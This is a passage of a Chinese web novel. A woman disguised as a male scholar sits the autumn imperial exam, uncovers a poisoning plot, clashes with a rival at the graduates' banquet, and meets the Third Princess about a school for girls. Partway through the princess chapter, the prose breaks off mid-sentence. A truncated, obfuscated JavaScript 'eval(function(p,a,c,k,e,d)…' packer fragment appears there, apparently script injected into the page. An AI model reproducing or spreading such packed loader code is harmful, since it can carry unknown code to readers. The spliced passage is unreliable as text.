“谢怀瑾。”谢青梧回礼，“李兄身体可好些？” “好多了。”李慕白苦笑，“昨夜紧张得没睡好，今早又淋了雨，这才……让谢兄见笑了。” 两人正说着，忽然听见东边号舍传来喧哗。几个衙役匆匆跑过去，不多时，抬出一个人来——那考生脸色青紫，口吐白沫，浑身抽搐。 “是癫痫！”有人惊呼。 考场里顿时骚动起来。主考官闻讯赶来，见状皱眉：“快抬出去，请大夫！” 谢青梧看着那考生被抬走，心里一沉。癫痫发作，若处理不当，可能致命。但考场规矩森严，她不能贸然上前。 正想着，李慕白忽然低声道：“谢兄，你看那人……” 顺着他的目光看去，谢青梧看见一个穿着考务服饰的中年人，正鬼鬼祟祟地往号舍深处走，手里似乎攥着什么东西。那人神色慌张，经过癫痫考生倒下的地方时，脚步明显加快。 有问题。 谢青梧给李慕白使了个眼色，两人悄悄跟了上去。那中年人走到天字号一排，左右张望，见没人注意，迅速将手里的东西塞进一个号舍的砖缝里。 做完这些，他若无其事地转身离开，迎面撞上谢青梧和李慕白。 “二位有事？”他故作镇定。 谢青梧盯着他的眼睛：“方才那位发病的考生，大人可认识？” “不、不认识。”中年人眼神闪烁，“考场之内，不要随意走动，快回自己号舍去！” 他说完匆匆走了。谢青梧走到那个号舍前，蹲下身，从砖缝里抠出一个小纸包。打开一看，里面是几粒黑色药丸。 李慕白凑过来看：“这是……” “毒药。”谢青梧闻了闻，脸色凝重，“能诱发癫痫的毒药。下在饮食里，一两个时辰后发作。” “有人要害人？”李慕白倒吸一口凉气，“那刚才发病的考生……” “可能是被下毒了。”谢青梧将药包收好，“李兄，这事先不要声张。等考试结束，我们去找主考官。” 李慕白重重点头。 第二场考策论，题目是“论漕运利弊”。谢青梧看到这题，立刻想起顾临渊查的江南盐税案，还有王崇年那个转运使。 她没有直接写漕运现状，而是从“漕”字的本义说起，水运粮也。然后笔锋一转，写漕运本为利民，何以成害？接着列举了几大弊病：一是各级官吏层层盘剥，运粮十石，到京只剩五六石；二是漕船挟带私货，甚至夹带走私盐铁；三是沿途征调民夫，耽误农时。 最后提出三条建议：一是改革漕运管理，设专门衙门，直接对户部负责；二是允许漕船带一定比例商货，但需纳税，既增加国库收入，又减少夹带；三是沿途设常备纤夫，发工钱，不扰民。 写完这些，她犹豫了一下，还是加了一句：“漕运之弊，根在吏治。若吏治清明，则百弊自消。” 这话可能会得罪人，但她觉得该说。 第二场考完，天已经黑了。雨停了，月亮从云层后露出来，清冷冷地照着贡院的屋瓦。 谢青梧在号舍里吃了干粮，正准备休息，忽然听见外面有脚步声。不是巡夜的衙役，脚步声很轻，走走停停，像是在找什么。 她警觉地坐起身，从门缝往外看。月光下，一个黑影正在各号舍间逡巡，手里拿着个小本子，不时记着什么。 是陆执。 虽然换了常服，但那个身形、那个走路的姿态，谢青梧一眼就认出来了。锦衣卫居然进了考场，还是在夜里。 她屏住呼吸，看着陆执走到她这排号舍。他在每个号舍前都停留片刻，似乎在核对什么。到她的号舍时，停留的时间格外长。 谢青梧能感觉到，陆执的目光正透过门缝往里看。她一动不动，假装睡着了。 良久，陆执离开了。 她这才松口气，背后已经出了一层冷汗。陆执到底在查什么？如果只是例行巡查，何必这么仔细？ 一夜无眠。 第三场考经史时务，题目更灵活。有一道题让谢青梧沉思良久：“今有女子欲入学读书，或以为有违礼教，或以为有益教化，试论之。” 这是道送分题，也是道送命题。若按常理论，该说“女子无才便是德”，但这不是她的真心话。若说实话，又可能触怒考官。 她提笔，写下破题：“礼教者，所以正人心、美风俗也。然时移世易，礼亦当因时而变。” 然后从历史说起，引班昭续《汉书》、蔡琰作《悲愤诗》，证明女子有才无损德行。再说到现实，女子若识字，能理家、能教子、能记账，于家于国都有利。 最后她写道：“教化之本，在开民智。民不分男女，智皆当开。若因噎废食，恐失教化本意。” 写完这篇，她忽然觉得，也许这道题是特意出的，是试探，也是机会。 三场考完，已是第三日午后。考生们陆续走出贡院，个个面有菜色，脚步虚浮。但眼里都有光，那是解脱的光。 谢青梧在门口遇见李慕白。他脸色好了许多，看见她就笑：“谢兄，我那道漕运题，用了你的思路，写得痛快！” “恭喜李兄。”谢青梧也笑。 两人正要分别，李慕白忽然压低声音：“谢兄，那个药包……咱们真要去告发吗？” “要。”谢青梧道，“不然可能还有考生受害。” “可是……”李慕白犹豫，“万一牵扯到什么大人物……” “正因可能牵扯大人物，才更要告发。”谢青梧看着他，“李兄，科举是国家抡才大典，若连这里都能下毒害人，那这朝堂，还有干净地方吗？” 李慕白沉默片刻，重重点头：“好，我跟你一起去。” 他们找到主考官时，主考官正在后堂休息，听说有事禀报，有些不耐烦：“考都考完了，还有何事？” 谢青梧呈上那个药包，又将所见说了一遍。主考官听完，脸色变了：“你们确定是考务人员？” “确定。”谢青梧道，“那人穿着考务服饰，对考场很熟悉。而且他藏药的地方，恰好在天字三号，那是刘瑾刘公子的号舍。” 主考官霍然起身：“刘瑾？国子监祭酒的外甥？” “是。” 主考官在屋里踱了几步，忽然停下：“这事……你们先不要声张。药包留下，本官自会查办。” 这话说得敷衍。谢青梧心里明白，主考官是不想惹麻烦。刘瑾的背景，确实让人忌惮。 她和李慕白退 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“不得罪也得罪了。”谢青梧苦笑，“走吧，回家好好睡一觉。” 两人在街口分别。谢青梧独自往住处走，秋风吹过，满街落叶。考完了，但心里并不轻松。 回到小院，慕容芷已经备好了热水热饭。谢青梧泡了个澡，换了干净衣裳，坐在灯下发呆。 “公子，考得如何？”慕容芷问。 “不知道。”谢青梧实话实说，“该写的都写了，能不能中，看天意。” 其实她心里有数，那几篇文章，篇篇都是心里话，但也篇篇都可能惹祸。尤其最后那道女子入学的题，她几乎是把心里想法全写出来了。 正想着，院门被敲响了。 慕容芷去开门，回来时手里拿着封信：“公子，有人送来的，没留名字。” 谢青梧拆开信，里面只有一行字：“文章已阅，静待佳音。慎言。”字迹清峻，她认得，是严博士的笔迹。 严博士阅过她的文章？这么说，考官里有他的人？或者，严博士本人就是考官之一？ 她烧了信，心里却更乱了。 这一夜，她睡得不安稳。梦里都是考场的事：发病的考生，藏药的中年人，陆执锐利的眼神，还有严博士那句“慎言”。 三天后，放榜。 谢青梧没去看，在院里等消息。慕容芷去了，半晌才回来，脸色古怪。 “中了？”谢青梧问。 “中了。”慕容芷点头，“第七名。” 第七名。不算高，但也不低。秋闱取八十名举人，第七名算是上等了。 谢青梧松了口气，又问：“前六名都是谁？” “第一名是刘瑾。”慕容芷皱眉，“第二名李慕白，第三名赵文启……第六名是沈知微。” 刘瑾第一？谢青梧一怔。以刘瑾的才学，能中举就不错了，怎么会是第一？ 正疑惑着，院门又被敲响了。这次来的是李慕白，一脸喜色：“谢兄！我中了第二！多亏你那篇漕运文章！” “恭喜李兄。”谢青梧拱手，“不过刘瑾第一……” 李慕白笑容淡了，压低声音：“我也觉得蹊跷。刘瑾那篇文章我看了，平平无奇，怎么可能第一？而且……”他顿了顿，“我听说，主考官是刘瑾舅舅的门生。” 果然。谢青梧心里冷笑。科举的公平，从来都是相对的。 “算了，能中就好。”李慕白拍拍她的肩，“谢兄第七，也很不错了。明年会试，咱们再一较高下！” 送走李慕白，谢青梧坐在院里，看着满地黄叶。第七名，这个名次很微妙，既显示了她有才学，又不至于太扎眼。是有人故意这么排的吗？ 正想着，第三批访客到了。 是赵文启，带着几个家丁，抬着两个大箱子。一进门就笑：“怀瑾啊，恭喜恭喜！第七名，厉害！” “赵公子第三名，更厉害。”谢青梧道。 “那是运气。”赵文启摆手，让家丁打开箱子，里面是绸缎、文房四宝、还有一封银子，“一点贺礼，不成敬意。” 谢青梧推辞不受。赵文启硬塞给她：“拿着吧，往后咱们就是同年了，互相照应。” 这话说得直白——同年之谊，是官场上重要的人脉。赵文启这是在拉拢她。 送走赵文启，天已经黑了。谢青梧看着那两箱礼物，心里五味杂陈。 中了举，就有了做官的资格，也有了更多的人情往来。这条路，她走得战战兢兢。 夜里，她坐在灯下，提笔给江州的周子砚写信。写到一半，忽然停了笔。 远处隐约传来丝竹声，是哪个酒楼在庆祝。京城就是这样，有人欢喜有人愁。 她想起考场里那个发病的考生。 这条路，比她想象的更难走。 但她已经走到了这里，就不能回头。 19. 举人宴 举人宴设在琼林苑。 这是朝廷为新科举人设的惯例宴席，虽比不上殿试后的琼林宴隆重，但也算是一桩盛事。苑内张灯结彩，礼乐齐鸣，八十一张桌案排成九列，取“九九归一，天下英才”之意。 谢青梧到得早，坐在自己的席位上，第七列第一席。按规矩，排名越前离主位越近，刘瑾作为解元，自然坐在第一列首位。她远远望过去，看见刘瑾正与几位官员谈笑风生，意气风发。 陆续有新科举人到场。李慕白在她对面坐下，压低声音：“谢兄看见没？刘瑾旁边那位，是吏部文选司的郎中，管官员铨选的。” 谢青梧点头。科举之后就是授官，刘瑾这是在提前铺路。 赵文启也来了，坐在她旁边，笑嘻嘻道：“怀瑾，今儿可是好日子。一会儿少喝点酒，别失态。” “多谢赵兄提醒。” 说话间，礼乐声起，主考官和几位副考官入席。主考官姓吴，是礼部侍郎，清瘦矍铄，目光如电。他举杯说了几句场面话，无非是勉励众举人“忠心报国”“不负所学”，众人起身应和。 酒过三巡，气氛活络起来。举人们互相敬酒，交换名帖，谈论文章。谢青梧安静坐着，偶尔与人应酬几句，并不多话。 但有人不想让她安静。 刘瑾端着酒杯走过来，身后跟着几个跟班。他停在谢青梧席前，举杯笑道：“谢公子，久仰大名。今日同席，敬你一杯。” 谢青梧起身：“刘解元客气。” 两人对饮一杯。刘瑾却不走，反而在她席旁坐下：“谢公子那篇漕运文章，我拜读了。写得……很有见地。” 这话听着像夸赞，但语气不对。谢青梧不动声色：“刘解元过奖。” “不过奖。”刘瑾晃着酒杯，“只是我有些不解，谢公子一个江州人，怎么对漕运之事如此熟悉？连沿途征调民夫、纤夫工钱这些细节都清楚？” 周围渐渐安静下来，不少人都竖起耳朵听。 谢青梧放下酒杯：“学生曾在江州码头帮工记账，见过漕船装卸。至于纤夫工钱，是听来往客商所说。刘解元若有疑问，可查证。” “查证倒不必。”刘瑾笑得意味深长，“只是觉得谢公子见识广博，不像寻常寒门学子。听说……谢公子在江州时，还帮一位林姓女商人打官司？” 这话一出，席间响起低语。女子经商本就惹人议论，何况还涉及官司。 谢青梧神色不变：“路见不平而已。律法之前，男女皆可为己申辩。” “好一个‘路见不平’。”刘瑾站起身，声音抬高，“只是我有些好奇，谢公子这般热心为女子出头，文章里又处处为女子说话，莫非……有什么特别的缘故？” 这话问得阴毒。席上众人都看向谢青梧，眼神各异。 李慕白想站起来说话，被谢青梧用眼神制止。她缓缓起身，看着刘瑾：“刘解元这话，倒让我想起一件旧事。” “哦？” “前朝大儒沈墨沈山长，曾为一位蒙冤的女乐师作证，助其脱罪。”谢青梧声音清朗，“时人讥他‘有损清誉’，沈山长答：‘见义不为，方损清誉’。学生不才，不敢比沈山长，但以为，见不平而鸣，无关男女，只问是非。” 她顿了顿：“倒是刘解元，如此在意学生为谁说话，莫非……有什么特别的忌讳？” 刘瑾脸色一僵。 席间响起几声低笑。沈墨是当朝大儒，门生故旧遍布朝堂，拿他来压人，刘瑾不敢反驳。 “谢公子好口才。”刘瑾干笑两声，悻悻地走了。 一场风波暂时平息。但谢青梧知道，刘瑾不会善罢甘休。 宴至中途，吴侍郎忽然开口：“今科秋闱，有几篇文章写得不错。其中一篇论女子入学，虽观点新奇，但言之有物。是哪位举人所写？” 众人都看向谢青梧。 她起身行礼：“是学生所作。” 吴侍郎打量她：“你叫谢怀瑾？” “是。” “文章我看过了。”吴侍郎缓缓道，“观点大胆，但说理还算清楚。只是……太过超前。若殿试时还这么写，恐怕要吃亏。” 这话是提点。谢青梧躬身：“多谢大人教诲。” “教诲谈不上。”吴侍郎摆摆手，“只是提醒你一句，文章可以写，但要看时机。有些话，现在说太早。” 这话和严博士说的一样。谢青梧心里明白，这位吴侍郎是在委婉地告诉她：你的想法我看到了，但别急着说出来。 宴席继续。谢青梧坐回席间，感觉到更多目光落在身上，好奇的、探究的、忌惮的。 散席时，李慕白走过来，低声道：“谢兄，你今天得罪刘瑾了。他那人心眼小，肯定会报复。” “我知道。”谢青梧看着远处刘瑾与人谈笑的背影，“但他要报复，我也没办法。” “你要小心。”李慕白叮嘱，“最好……最近少出门。” 谢青梧点头应下。 走出琼林苑时，天色已暗。秋风吹过，带起满地落叶。她正要上马车，忽然被人叫住。 “谢公子留步。” 回头一看，是一个穿着普通的布衣，但气质沉静。 是陆执。谢青梧心头一跳，“陆大人找学生有事？” “一点小事。”陆执语气平淡，“想问问谢公子，可认识江州府一个叫谢明远的人？” 谢明远。她的嫡兄。 谢青梧握紧名帖：“认识。是学生的兄长。” “哦？”陆执挑眉，“那谢公子可知道，你兄长最近在江州四处打听你的消息？还托人查你的户籍？” 来了。谢青梧深吸口气：“学生不知。自进京后，与家中联系甚少。” “是吗。”陆执看着她，“可据我所知，谢明远查的不仅是你的消息，还有……你生母的事。” 这话像根针，扎进谢青梧心里。她生母是妾室，早逝，生前在谢家没什么存在感。谢明远查这个做什么？ “陆大人为何告诉学生这些？”她问。 “因为我也在查。”陆执直言不讳，“王崇年的案子牵扯甚广，你兄长似乎与王家有些往来。至于查你生母……或许是想找你的把柄。” 把柄。谢青梧明白了。谢明远一直不甘心她这个庶子出头，如今她中了举，更让他嫉恨。查她生母，无非是想找出什么见不得光的事，好毁她前程。 “多谢陆大人告知。”她拱手。 “不必谢我。”陆执道，“我只是提醒你，你兄长那边，我会继续查。但你自己也要小心。有些人，为了利益，什么事都做得出来。” 他说完，转身走了，很快消失在夜色中。 谢青梧站在原地，许久没动。秋风吹过，她觉得有点冷。 慕容芷走过来，给她披上披风：“公子，先回去吧。” 马车里，谢青梧闭目养神。脑海里却翻腾着各种念头：刘瑾的挑衅、吴侍郎的提醒、陆执的警告、谢明远的动作…… 一张网，正从四面八方罩过来。 回到住处，她刚下马车，就看见院门外站着个人。月色下，那身影窈窕，披着淡青斗篷。 是云知意。 “云姑娘？”谢青梧讶然，“这么晚了……” “冒昧来访，还请谢公子见谅。”云知意微微福身，“有件事，必须今晚告诉公子。” 谢青梧将她请进屋。慕容芷端上热茶，退到门外守着。 云知意摘掉斗篷帽，露出一张清丽但苍白的脸。她没喝茶，直截了当道：“谢公子，你被人盯上了。” “我知道。”谢青梧道，“刘瑾，还有我兄长。” “不止。”云知意摇头，“还有宫里的人。” 宫里？谢青梧心头一紧。 “今日举人宴，有位公公在场，你看见了吗？”云知意问。 谢青梧回想起来，宴席末尾确实有个太监打扮的人进来，在吴侍郎耳边说了几句话，又悄悄退下。当时她没在意。 “那是三公主身边的管事太监。”云知意压低声音，“三公主萧玉衡，最爱结交才子。你的文章，已经传到她耳中了。” 三公主。谢青梧记起来了。 “公主看中学生的文章，是好事还是坏事？”她问。 “不好说。”云知意神色凝重，“三公主确实爱才，但她身后是皇后一系，与太子、二皇子都不和。你若被她招揽，就等于卷入了夺嫡之争。” 夺嫡。这两个字像千斤重担。谢青梧沉默了。 云知意继续道：“还有一件事，刘瑾今天在宴上挑衅你，不是偶然。他舅舅，国子监祭酒刘庸，是二皇子的人。二皇子最近在拉拢寒门士子，你的文章和出身，正是他们想要的。” “所以他们让刘瑾试探我？” “是。”云知意点头，“你若服软，他们就会拉拢你；你若强硬，他们就会打压你。今日你没服软，接下来……恐怕会有动作。” 谢青梧揉了揉眉心。京城这潭水，比她想的还要浑。 “云姑娘为何告诉我这些？”她抬眼问。 云知意沉默片刻：“因为我觉得，你和他们不一样。” “哪里不一样？” “你眼里有真心。”云知意轻声道，“那些夸夸其谈的才子，嘴里说着为国为民，心里想的是功名利禄。你不是。你是真的相信一些东西，相信女子可以读书，相信寒门可以出头，相信这世道能变好。” 她顿了顿：“这样的人，不该被那些龌龊手段毁了。” 谢青梧看着她，忽然问：“云姑娘到底是什么人？” 一个乐坊琴师，怎么会知道这么多宫闱秘事、朝堂动向？ 云知意笑了，笑容里有一丝苦涩：“我是个……不该知道这么多的人。但既然知道了，就不能装不知道。” 她起身：“谢公子，我能说的就这些。往后如何，看你自己抉择。但记住，在京城，有时候不选，也是一种选。” 她重新披上斗篷，走到门口时又回头：“若真遇到难处，可来春风阁找我。我能帮的，一定帮。” 送走云知意，谢青梧坐在灯下，一夜无眠。 第二天一早，她去了国子监找严博士。 严博士正在整理古籍，见她来了，也不意外：“坐吧。昨晚没睡好？” “学生有事请教。”谢青梧直接道，“若三公主 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严博士拍拍她的肩：“我知道你不甘心。但这就是现实，你想做事，就得先活下来。活下来，就需要权力。权力从哪儿来？要么自己挣，要么别人给。你现在还没能力自己挣，只能先借别人的力。” 这话说得残酷，但是实话。 “学生明白了。”谢青梧起身，“多谢先生指点。” 从国子监出来，她没回住处，而是去了春风阁。 云知意正在练琴，见她来了，微微一笑：“谢公子想通了？” “想通了。”谢青梧坐下，“请云姑娘指条路。” 云知意停下抚琴：“三公主每旬五在城西慈济堂施粥，明日正是初五。你若‘偶遇’，或许有机会。” “慈济堂……” “那是三公主办的善堂，收养孤寡，施医赠药。”云知意道，“公主每月都会去一次，亲自施粥。你若在那里出现，不会太突兀。” 谢青梧点头：“多谢。” “不必谢我。”云知意重新抚琴，“我只是……不想看到又一个有真心的人，被这世道磨平了棱角。” 琴声起，是一曲《广陵散》。慷慨悲凉，有金戈铁马之声。 谢青梧静静听着，直到一曲终了。 “云姑娘的琴艺，果然了得。”她道。 云知意抬眸：“琴艺再好，也不过是取悦人的玩意儿。比不得谢公子的文章，能说真话。” 这话里有不甘。谢青梧看着她：“云姑娘若想，也可以做更多。” 云知意笑了，笑容里有苦涩：“我一个乐籍女子，能做什么？弹琴，陪笑，等人赏赐。这就是我的命。” “命是可以改的。”谢青梧轻声道。 云知意愣住，看着她，良久，才低声道：“谢公子，你这个人……真是让人忍不住想相信。” 从春风阁出来，已是午后。谢青梧在街上慢慢走，想着明日该如何“偶遇”三公主。 路过一家书局时，她看见橱窗里摆着新刻的《秋闱佳作集》。翻开一看，她的三篇文章都在里面，但被删改了不少，尖锐的词句被抹去，犀利的观点被软化。 她合上书，心里明白：这是吴侍郎或者严博士做的，在保护她。 但被删改的文章，还是她的文章吗？ 正想着，身后忽然传来马蹄声。回头一看，竟是陆执，骑着马停在街边。 “谢公子，”陆执翻身下马，“巧啊。” “陆大人。”谢青梧拱手。 陆执看了眼她手里的书：“在看自己的文章？” “随便翻翻。” “翻到什么了？”陆执问。 “翻到……有些话不能说。”谢青梧直言。 陆执笑了：“能明白这点，说明你长进了。”他从怀里掏出封信，“这个给你。” 谢青梧接过，信封上没写字。她拆开一看，里面是几张纸，是她生母在谢家的旧档记录，还有谢明远最近与王家往来的证据。 “这……”她抬头。 “我说过会查。”陆执道，“这些你留着，或许有用。至于你兄长那边……我已经敲打过了，他暂时不会乱来。” “陆大人为何帮我？” 陆执看着街上来往的行人，淡淡道：“锦衣卫不只是抓人，也要防着有人祸乱朝纲。王崇年之流，贪赃枉法，陷害忠良，该查。你……至少目前看，还算个正直的人。” 他顿了顿：“正直的人，在京城活不长。但多活一个，总比少一个好。” 这话说得别扭，但谢青梧听出了里面的意思。 “多谢陆大人。” “别谢太早。”陆执翻身上马，“我帮你，是因为你有用。若哪天你没用了，或者走错了路，我照样抓你。” 他说完，打马走了。 谢青梧看着手里的信纸，心里五味杂陈。 回住处路上，她路过慈济堂。那是一座不大的院子，门开着，里面有几个老人在晒太阳，几个孩童在玩耍。门楣上挂着匾额，写着“慈济众生”四个字，落款是“玉衡”。 三公主的字，清秀中带着刚劲。 谢青梧在门外站了片刻，转身离开。 明日，她要来这里。 20. 公主初遇 慈济堂在城西一条清净的巷子里。 谢青梧到得早，天刚蒙蒙亮。院子里已经热闹起来，几个妇人正在灶台前熬粥，米香混着柴火气飘满院子；几个半大的孩子在扫地、搬柴；角落里坐着几位老人，边晒太阳边拣豆子。 她没急着进去，在门口看了会儿。这里和她想象的不太一样，虽然简陋，但干净整齐；虽然忙碌，但井然有序。一个穿粗布衣裳的妇人正耐心教一个小姑娘认字，手指在沙盘上一笔一划写着。 “公子是来帮忙的？”一个老嬷嬷从屋里出来，打量着她。 谢青梧拱手：“学生谢怀瑾，听说慈济堂需要人手，想来尽份力。” 老嬷嬷笑了：“读书人来这儿的少。公子不嫌弃的话，帮孩子们认几个字吧。” 她被领到院东角的棚子下，那里摆着几张小桌，五六个孩子围坐着，最大的不过十岁，最小的才六七岁。见来了陌生人，都好奇地看着她。 “这位是谢先生，今儿教你们认字。”老嬷嬷说完就去忙了。 谢青梧在桌前坐下，看着这些孩子。有男有女，都穿着打补丁但整洁的衣裳，眼睛亮晶晶的。 “先生，”一个扎着羊角辫的小姑娘怯生生问，“您真是举人老爷吗？” “是。”谢青梧微笑，“但在这里，我就是教你们认字的先生。你们叫什么名字？” 孩子们依次报了名字。她记下，然后问：“你们想学什么字？” “学写自己的名字！”一个虎头虎脑的男孩抢着说。 “好，那就先学名字。” 她从最简单的教起，手把手纠正握笔姿势，一笔一划示范。孩子们学得很认真，小手握着笔，在沙盘上歪歪扭扭地写。那个叫小草的姑娘写得最好，已经能把自己的名字写工整了。 教了一个时辰，粥熬好了。孩子们欢呼着跑去排队，谢青梧帮着分粥。一碗碗热腾腾的米粥递出去，换来一声声稚嫩的“谢谢先生”。 忙到快晌午时，门外忽然传来马蹄声。老嬷嬷脸色一变：“快，收拾收拾，公主来了！” 院子里顿时忙碌起来。孩子们被领回屋，桌椅摆正，地上的杂物迅速清走。谢青梧跟着众人站在院门两侧，垂首等候。 马蹄声停在门外。先是一个管事太监进来，扫视一圈，然后侧身让开。一位身着淡紫宫装的女子缓步走进来，身后跟着两名宫女。 这就是三公主萧玉衡。 谢青梧垂着眼，只看见一双绣着银线的宫鞋从面前走过。公主的脚步声很轻，停在院子中央。 “都起来吧。”声音清润，带着些许威严。 众人起身。谢青梧这才抬眼看去，公主约莫十七八岁，眉眼清丽，但神色间有种超越年龄的沉稳。她没戴多少首饰，只一支白玉簪绾发，更显得气质出尘。 “今日粥可够？”萧玉衡问老嬷嬷。 “回公主，够的，还多备了十斤米。” “嗯。”公主点点头，目光扫过院子，最后落在谢青梧身上，“这位是……” 老嬷嬷忙道：“这是谢公子，今儿来帮忙教孩子们认字的。” 萧玉衡的目光在她身上停留片刻：“谢怀瑾？” 谢青梧躬身：“学生见过公主。” “本宫读过你的文章。”萧玉衡淡淡道，“那篇论女子入学的，写得不错。” 这话说得随意，但谢青梧心里一紧。公主果然知道她，而且特意提起那篇文章。 “学生拙作，让公主见笑了。” “见笑倒不至于。”萧玉衡走到棚子下，看着沙盘上孩子们写的字，“这些字是你教的？” “是。” “教得挺好。”公主拿起一根木棍，在沙盘上写了个“安”字，“平安的安。这个字简单，寓意也好。你可以教他们这个。” 谢青梧看着她写字的姿势，很标准，是受过良好教育的。而且公主亲自示范，说明她真在乎这些孩子学什么。 “学生记下了。” 萧玉衡放下木棍，转过身看着她：“谢公子今日来慈济堂，是偶然还是有意？” 这话问得直接。谢青梧顿了顿：“是有意。学生听说慈济堂收容孤寡、施教助学，心生敬佩，故来帮忙。” “只是帮忙？”公主挑眉，“没有别的想法？” 院子里安静下来。老嬷嬷和几个妇人都低下头，装作忙碌。 谢青梧抬眼，直视公主：“若说完全没有，那是欺瞒。学生确实想见公主一面。” “为何？” “因为公主做的事，学生佩服。”谢青梧坦然道，“这慈济堂，这施教助学，不是摆样子。公主是真想为百姓做点事。” 萧玉衡笑了，这次是真心的笑：“你倒敢说。不过你说得对，本宫做这些，不是为了沽名钓誉。” 她走到院中的石凳上坐下，示意谢青梧也坐：“既然来了，聊聊吧。你那篇文章里说，女子识字有益家国。具体说说，怎么个有益法？” 这是考校了。谢青梧在她对面坐下，略一思索：“学生以为，益处有三。” “其一，女子识字能理家。记账、管家、教子，都需要识字。一个识字的主母，能把家管得更好。” “其二，女子识字能传承。母亲是孩子的第一任先生，若母亲识字，孩子启蒙就早，成才的机会也大。” “其三……”她顿了顿，“女子识字能自立。若遇变故，不至于任人摆布。” 萧玉衡静静听着，手指轻轻敲着石桌：“第三点，你写文章时可没说得这么直白。” “当时有所顾忌。” “现在为何不忌了？” “因为面对的是公主。”谢青梧道，“公主办慈济堂、收容孤寡女子，想必明白女子若无依无靠，处境有多艰难。” 萧玉衡沉默片刻：“你说得对。本宫见过太多女子，丈夫一死，家产被夺，只能流落街头。若有识字之能，至少能当个账房、绣娘，养活自己。” 她看着谢青梧：“但这世道，女子要自立，难。别说自立，就是想读书，都有人指指点点。” “所以才需要有人先做。”谢青梧道，“公主已经在做了。这慈济堂里教女子识字，就是开端。” “开端容易，坚持难。”萧玉衡叹气，“朝中那些老臣，整日说什么‘牝鸡司晨’‘有违礼教’。本宫每做一件事，都有人上书弹劾。” 这话说得推心置腹。谢青梧心里明白，公主这是在试探，试探她的态度，也试探她的胆量。 “学生以为，”她缓缓道，“做事总会有人反对。关键是做的事对不对，有没有用。若是对的、有用的，就该坚持。” “哪怕得罪人？” “不得罪人，做不成事。” 萧玉衡盯着她看了许久，忽然道：“谢怀瑾，你知道本宫为何关注你吗？” “学生不知。” “因为你敢说真话。”公主站起身，“朝中那些人，要么阿谀奉承，要么明哲保身。敢像你这样说话的，不多。” 她走到院中的老槐树下，仰头看着枝叶：“本宫有个想法，想办个女学，专门教女子读书识字。但阻力太大，一直没能成。” 谢青梧心头一跳。女学，这正是她心中所想。 “公主若真想办，学生愿尽绵薄之力。” 萧玉衡回头看她：“你？一个举人，无权无势，能做什么？” “学生可以教书。”谢青梧道，“也可以写文章，为女学正名。还可以联络志同道合之人，一起推动。” “志同道合……”公主轻笑，“你觉得，这京城里，有多少人真正认同女子该读书？” “不多，但总有。”谢青梧想起严博士，想起徐博士，想起那些在慈济堂教字的妇人，“星火虽微，可以燎原。” “又是星火。”萧玉衡眼神复杂，“你这把火，烧得倒是旺。” 她走回石桌前：“本宫可以给你一个机会。明年春，慈济堂会开个识字班，专门收女子。你来教，如何？” “学生愿意。” “但有个条件。”公主正色道，“这事不能声张。对外就说，是教慈济堂的孤儿识字。若有人问起，就说本宫怜惜孤儿，与你无关。” 这是在保护她。谢青梧心里清楚，躬身道：“学生明白。” “明白就好。”萧玉衡从袖中取出一枚玉佩，递过来，“这个你拿着。若遇到麻烦，可持此玉佩来公主府。” 谢青梧接过。玉佩温润，刻着简单的云纹，没有公主印记，但质地极好。 “多谢公主。” “不必谢。”萧玉衡摆摆手，“本宫帮你，也是在帮自己。你若真能把女学办起来，对本宫也是好事。” 她说得坦诚。谢青梧喜欢这种坦诚，不虚伪，不掩饰，各取所需，但目标一致。 正说着，管事太监匆匆进来，在公主耳边低语几句。萧玉衡脸色微变，但很快恢复平静。 “本宫有事，先走了。”她起身，“谢公子，记住今日的话。女学之事，徐徐图之，不可急躁。” “学生谨记。” 公主一行人匆匆离去。院子里又恢复了忙碌，但气氛明显不同了，老嬷嬷看谢青梧的眼神多了几分恭敬，孩子们也围上来，七嘴八舌地问：“先生，公主跟你说了什么呀？” “公主夸你们字写得好。”谢青梧摸摸小草的头，“要继续努力。” 她在慈济堂待到傍晚，又教孩子们认了几个字，帮忙收拾了院子，才告辞离开。 走出巷子时，天色已暗。她没急着回住处，在街边慢慢走，想着今天的事。 公主比她想象的更务实，也更果断。女学的事，公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她停下脚步：“到了，前面就是你住处。我就不送了。” 谢青梧这才发现，不知不觉已经走到她住的巷子口。 “多谢云姑娘。” “别总谢来谢去的。”云知意摆摆手，“记着，春风阁的门，随时为你开着。若真遇到难处，来找我。” 她转身要走，又回头：“对了，江州那边……好像有点动静。你兄长谢明远，最近和扬州王家走得很近。你自己小心。” 说完，她快步离去，很快消失在夜色中。 谢青梧站在巷口，许久没动。 江州、谢明远、王家……这些事像一团乱麻，缠在一起。 但她现在没时间去理。眼前最重要的是女学，是公主交代的事。 回到住处，慕容芷迎上来：“公子，有封信，江州来的。” 谢青梧接过信，拆开一看，是周子砚写的。信里说，谢明远最近频繁去扬州，好像在谈什么生意。还听说，王家在打听她的消息，特别是她生母的事。 信的最后，周子砚写道：“怀瑾，京城水深，务必小心。若需要帮忙，随时来信。” 她把信烧了，坐在灯下发呆。 所有线索都指向一点，谢明远和王家勾结，想找她的把柄。而生母，可能就是突破口。 她生母到底有什么秘密？ 正想着，院门又被敲响了。这次来的是李慕白，一脸焦急。 “谢兄，出事了！” “怎么了？” “刘瑾……刘瑾在到处说，你攀附公主，想走捷径。”李慕白喘着气，“还说你在慈济堂故意偶遇公主，心思不正。现在好些举人都在议论……” 消息传得真快。谢青梧冷笑，刘瑾这是急了。 “让他们说去吧。”她淡淡道，“清者自清。” “可是谢兄，人言可畏啊！”李慕白急道，“尤其是那些寒门举人，最恨攀附权贵之辈。你这么一弄，往后在士林里……” “李兄，”谢青梧打断他，“我问你，若我真想攀附权贵，该去攀附谁？” 李慕白一愣。 “太子？二皇子？还是其他权臣？”谢青梧道，“公主虽尊贵，但毕竟是女子，在朝中并无实权。攀附她，算什么捷径？” 这话点醒了李慕白。是啊，公主再尊贵，也管不了科举，给不了官位。攀附她，确实不算聪明选择。 “那刘瑾为何这么说？” “因为他想坏我名声。”谢青梧道，“我名声坏了，就没人信我的话。我说的那些女子该读书、寒门该出头的话，也就没人听了。” 李慕白恍然大悟：“原来如此！那咱们得反击！” “不急。”谢青梧摇头，“现在反击，正中他下怀。让他说，说得越多，暴露得越多。” “可……” “李兄放心。”谢青梧拍拍他的肩，“我自有分寸。” 送走李慕白，夜色已深。谢青梧独自站在院里，看着天上那轮明月。 前路艰难，但她已经踏上了这条路。 不能回头，也不想回头。 21. 雪夜定策 腊月二十八的雪下了一夜，到天明时还未停。 